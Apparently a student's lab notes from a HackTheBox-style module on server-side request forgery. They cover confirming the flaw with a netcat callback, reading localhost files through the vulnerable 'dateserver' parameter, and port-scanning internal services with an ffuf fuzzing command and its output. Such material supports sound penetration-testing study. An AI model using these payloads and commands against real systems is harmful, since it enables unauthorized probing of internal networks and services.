Confirm SSRF
Assume there is a web app with a functionality to schedule appointments.
When checking the data availability for appointment, following request is being used:
dateserver=http://dateserver.com/availability.php&date=2024-01-01
This means the web server is fetching the availability information from a separate system determined by the URL passed in the POST parameter.
We can confirm SSRF by pointing dateserver towards our netcat listener as such:
dateserver=http://my-ip:8000/ssrf&date=2024-01-01
We get a incoming connection:
jadu101@htb[/htb]$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38782
GET /ssrf HTTP/1.1
Host: 172.17.0.1:8000
Accept: */*
We can check if SSRF is blind or not by trying to read index.php
:
dateserver=http://127.0.0.1/index.php&date=2024-01-01
If the above displays the content of index.php, we know that the SSRF is not blind.
Enumerate System
We can use SSRF to port scan on the system.
dateserver=http://127.0.0.1:80&date=2024-01-01
If the response to above request is something like Error
or Fail
, we can know that the port is probably closed.
We can automate this using ffuf
.
First, create a list of 10,000 ports:
jadu101@htb[/htb]$ seq 1 10000 > ports.txt
Now use ffuf
to fuzz all open ports by filtering out responses containing error message we identified earlier:
jadu101@htb[/htb]$ ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
<SNIP>
[Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 0ms]
* FUZZ: 3306
[Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 338ms]
* FUZZ: 80
Results shows port 3306 is open.